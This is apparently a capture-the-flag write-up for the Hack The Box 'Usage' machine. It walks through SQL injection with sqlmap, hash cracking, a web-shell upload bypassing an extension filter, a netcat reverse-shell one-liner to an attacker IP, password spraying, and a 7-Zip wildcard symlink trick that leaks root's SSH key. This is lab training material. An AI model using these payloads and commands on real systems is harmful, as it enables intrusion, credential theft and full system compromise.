


HTB-Usage



Information Gathering

Rustscan

Rustscan discovers HTTP and SSH open:

```
(yoon@kali) - [~/Downloads]
$ rustscan --addresses 10.10.11.18 --range 1-65535
.....
| {} } | { } | { { _ { _ _ } { { _ / _ _ } / { } \ | ' |
| . - \ | { _ } | . - _ } } | | . - _ } \      } / \ / \ | | \
- - - - -
The Modern Day Port Scanner.

https://discord.gg/GFrQsGy
https://github.com/RustScan/RustScan
```

Nmap? More like slowmap. 🐢

<snip>

Host is up, received syn-ack (0.31s latency).

Scanned at 2024-05-17 06:22:29 EDT for 0s

| PORT | STATE | SERVICE | REASON |
|--------|-------|---------|---------|
| 22/tcp | open | ssh | syn-ack |
| 80/tcp | open | http | syn-ack |


Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds

Enumeration

HTTP - TCP 80

After adding **usage.htb** to `/etc/hosts`, we can access the website:



The screenshot shows a web browser displaying the 'Usage' website. At the top, there is a navigation bar with the text 'Usage' on the left and 'Login Register Admin' on the right. The main content area features a 'Login' form. The form has a title 'Login' at the top. Below the title, there are two input fields: 'E-Mail Address' and 'Password'. Below the 'Password' field, there is a checkbox labeled 'Remember Me'. Below the checkbox, there is a link that says 'Reset Password'. At the bottom of the form, there is a blue button labeled 'Login'.

Admin directs us to **admin.usage.htb**, which I also add to `/etc/hosts` :

Usage Admin

Login

Username

✉

Password

🔒

☒ Remember me

Login

Reset Password directs to `/forget-password` , and we can submit email address to reset password:





Reset Password

E-Mail Address


Send Password Reset Link


Laravel SQLi


Wappalyzer shows that **Laravel** is running on the website:


 **Wappalyzer**   


TECHNOLOGIESMORE INFOExport


Web frameworks
 [Laravel](#)

Operating systems
 [Ubuntu](#)

Web servers
 [Nginx](#) 1.18.0

Reverse proxies
 [Nginx](#) 1.18.0

Programming languages
 [PHP](#)

UI frameworks
 [Bootstrap](#) 4.1.3

[Something wrong or missing?](#)

Generate sales leads ^
Find new prospects by the technologies they use. Reach out to customers of Shopify, Magento, Salesforce and others.

[Hacktricks](#) provides detailed guides on exploiting Laravel.

After reading through, it seems like we might be able to do SQL Injection attack.

Testing all possible entry points, `/forget-password` email parameter is found to be vulnerable.

Let's first intercept request for reset password using Burp Suite:

Request to http://usage.htb:80 [10.10.11.18]

Forward Drop Intercept is on Action Open Browser Cor

Pretty Raw Hex

```

1 POST /forget-password HTTP/1.1
2 Host: usage.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 59
9 Origin: http://usage.htb
10 Connection: close
11 Referer: http://usage.htb/forget-password
12 Cookie: XSRF-TOKEN=
  eyJpdiI6InZYSVJLSzIzd0drRGNTSXRLR2hIOUE9PSIsInZhbnVlIjoicGRkUTFrMVJGZFIzMnRBMLJLRkswZ
  0SYVHRVb1FyTXdiT3pGamIjUks4a0Y5RHLLTXpDULAIK2UvV1dqblBJQzd00FRSa2MxQ3lpREPhVGxtOWwra2
  E3MDZIZm5ZZ1FBdkRNM0czczhHWNPv1ZXSkhLT3NmZEtBZE1YNFhmNmIiLCJtYWMiOiIzYmU2Mjc3MDEzZmE
  zZDaxY2FiYWYyNDAXZDhmYW2NzJlMzU1ZjQxZmNmODM1ODYzODdiZTY2ZmFlNTI4YmQwIiwidGFuIjoiaW0%
  3D; laravel_session=
  eyJpdiI6ImldcEVIvVpMY3RRMUJyMnhud0ttaXc9PSIsInZhbnVlIjoia1g2VWp3eWdHQ1lzVXo5am9WZGpoN
  Vl6dzlPMW5CN2k2emF0bWkwF0S3ZFNStYS25kMzVpVEZMMmQ5TWRYQmFZenZyTUJNOTJldlE3d3ozTzU4d3
  QrR1NEMXNKcWJhOGdkbXdsawhQSLRqaXlQSONvbnZzTDMOSTROTvdnYOMiLCJtYWMiOiJmOTg0ODg3ZGE3Y2N
  hYzBjYTJhMDQ4ZmU3MTUzYTU4OTdkYjI1YWZkNzkxMThlNjYyM2YzNzA1YmQxYWQzN2FmIiwidGFuIjoiaW0%
  3D
13 Upgrade-Insecure-Requests: 1
14
15 _token=bnvjzxAvxDKRzcwDi3dUhDpE8yd4PNzMXwkihima&email=asdsd

```

Using [this list](#) for fuzzing the email parameter, it seems that length of 7729 is a redirection page and length of 1616 is 500 error page:

| | | | | |
|---------|-----|--------------------------|--------------------------|------|
| \ | 500 | <input type="checkbox"/> | <input type="checkbox"/> | 7729 |
| \\ | 302 | <input type="checkbox"/> | <input type="checkbox"/> | 1616 |
| ; | 302 | <input type="checkbox"/> | <input type="checkbox"/> | 1616 |
| 'or" | 500 | <input type="checkbox"/> | <input type="checkbox"/> | 7729 |
| -- or # | 302 | <input type="checkbox"/> | <input type="checkbox"/> | 1616 |
| 'OR '1 | 302 | <input type="checkbox"/> | <input type="checkbox"/> | 1616 |

SQLi Detection

Let's try identifying the number of columns.

Submitting a' ORDER BY 8;-- - will direct us to redirection page:

```

<title>
  Redirecting to
  http://usage.htb/forget-password
</title>

```

Submitting a' ORDER BY 9;-- - shows Server Error, indicating there's 8 columns:

```

<title>
  Server Error
</title>

```

SQLMap

Let's automate the exploitation using sqlmap and set the parameter email to be vulnerable:

```
sqlmap -r forget-pass-req.txt -p email --batch --level 5 --risk 3 --dbs
```

```
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
```

Sqlmap finds three databases.

Let's look more in to **usage_blog** database:

```
sqlmap -r req.txt -p email --batch --level 5 --risk 3 --dbms=mysql -D
usage_blog --tables
```


```
Database: usage_blog
[15 tables]
+-----+
| admin_menu
| admin_operation_log
| admin_permissions
| admin_role_menu
| admin_role_permissions
| admin_role_users
| admin_roles
| admin_user_permissions
| admin_users
| blog
| failed_jobs
| migrations
| password_reset_tokens
| personal_access_tokens
| users
+-----+
```

After dumping the password hash inside **admin_users** table using `sqlmap -r req.txt -p email --batch --level 5 --risk 3 --dbms=mysql -D usage_blog -T admin_users --dump`, we can crack the password hash using john using `john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcryptbas`, and the password is cracked to be **whatever1**.

Shell as dash

admin.usage.htb

Using the cracked password, we can successfully sign-in to the dashboard:



The screenshot shows the Laravel Admin dashboard. The top navigation bar includes the 'UG' logo, a menu icon, a refresh button, and the user 'Administrator' with a profile icon and a 'Home' link. The main content area is titled 'Dashboard' with a 'Description...' link. It features two side-by-side panels: 'Environment' and 'Dependencies'. The 'Environment' panel lists system details like PHP version (8.1.2), Laravel version (10.18.0), CGI (fpm-fcgi), Uname (Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64), Server (nginx/1.18.0), Cache driver (file), Session driver (file), and Queue driver (sync). The 'Dependencies' panel lists installed packages and their versions: php (^8.1), encore/laravel-admin (1.8.18), guzzlehttp/guzzle (^7.2), laravel/framework (^10.10), laravel/sanctum (^3.2), laravel/tinker (^2.8), and symfony/filesystem (^6.3).


At the bottom right, Laravel version is shown: **1.8.17**

Env local Version 1.8.17

File Upload

Googling for Larval 1.8.17 exploit, we come across [File Upload Vulnerability](#).

We should be able to exploit this vulnerability and obtain reverse shell via uploading malicious payload to the below profile page's avatar image:



The screenshot shows a user profile page. The 'Username' field contains 'admin'. The 'Name' field, marked with a red asterisk, contains 'Administrator'. The 'Avatar' section shows a preview of a user's profile picture (a man with glasses pointing up) with the filename 'user2-160x160.jpg'. Below the preview is a file input field with the same filename and a 'Browse' button. At the bottom of the form are four buttons: 'Reset', 'View', 'Continue creating', 'Continue editing', and 'Submit'.

In order to bypass upload extension blacklist filter, I will upload [p0wny_shell](#) with the extension of **.jpg.php**:

```
063383150
Content-Disposition: form-data; name="avatar";
filename="pown.jpg.php"
Content-Type: image/jpeg
```

```
<?php
```

```
$SHELL_CONFIG = array(
    'username' => 'p0wny',
    'hostname' => 'shell',
);
```

File successfully uploads and we can access the shell through

`http://admin.usage.htb/uploads/images/pown.jpg.php:`



Now that we have a shell as **dash**, let's spawn a reverse shell using the following command:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.29 1337 >/tmp/f
```

```
(yoon@kali)-[~/Documents/htb/usage]
$ sudo rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.11.18] 36114
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ id
id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
```

We have successfully obtained reverse shell as **dash**.

Privesc: dash to xander

Looking around file system, we several unusual files such as **.monit.id** and **.monitrc**:


```

dash@usage:~$ ls -la
ls -la
total 52
drwxr-x--- 6 dash dash 4096 May 24 05:45 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6 2022 .bashrc
drwx----- 3 dash dash 4096 Aug  7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7 2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash    5 May 24 05:45 .monit.pid
-rw----- 1 dash dash 1192 May 24 05:45 .monit.state
-rwx----- 1 dash dash  707 Oct 26 2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6 2022 .profile
drwx----- 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash   33 May 24 04:21 user.txt

```

.monitrc file reveals potential password: 3nc0d3d_pa\$\$w0rd

```

dash@usage:~$ cat .monitrc
cat .monitrc
#Monitoring Interval in Seconds
set daemon 60

#Enable Web Access
set httpd port 2812
    use address 127.0.0.1
    allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert

#System Monitoring
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
    if space usage > 80% then alert

```

Let's identify users on the system in order to spray the discovered potential password:

```
cat /etc/passwd | grep /home
```

```

dash@usage:~$ cat /etc/passwd | grep /home

cat /etc/passwd | grep /home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash

```

User **syslog** and **xander** is also on the system.

After trying the password for both users for SSH connection, we have a valid match for **xander**:

```
sudo ssh xander@usage.htb
```

```
xander@usage:~$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
```

Privesc: xander to root

Sudoers

Checking on commands that could be ran with **sudo** privilege,

`/usr/bin/usage_management` is noticed:

```
sudo -l
```

```
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
```

Running `strings` on it, we can see several interesting processes happening in there:

```
strings /usr/bin/usage_management
```

```
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
```

7za (7-Zip) tool is being used to create a ZIP archive of files in the current directory:

```
`/usr/bin/7za a /var/backups/project.zip -tzip -snl -:
```

```
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
```

Wildcard

Researching a bit on this, it seems like we can abuse the [wildcard spare](#):

7z

In **7z** even using `--` before `*` (note that `--` means that the following input cannot be treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:

```
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```

Let's first create `id_rsa` file inside `/var/www/html` and link it to root's `id_rsa` file:

```
xander@usage:/var/www/html$ touch id_rsa
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa id_rsa
```

Now let's run `/usr/bin/usage_management` with **sudo**:

```
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPY
C 7413 24-Core Processor (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
```

As the `/usr/bin/usage_management` stops running, it throws back root's `id_rsa` key:

```
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3B1bnNzaC1rZXktdjEAAAABG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
es
QyNTUxOQAAACC20m0r6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more fil
es
QgAAAAAtzc2gtZWQyNTUxOQAAACC20m0r6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more fil
es
AAAE63P+5DvKwuQtE4Y0D4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more fil
es
H2sfTWZeFDLGmqMhrqDdAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
-----
Scan WARNINGS: 7
```

Using root's `id_rsa`, we can now sign-in to the system as the root:

```
ssh -i id_rsa root@usage.htb
```

```
root@usage:~# whoami
root
```

References

- <https://github.com/payloadbox/sql-injection-payload-list?tab=readme-ov-file#generic-error-based-payloads>

- <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel>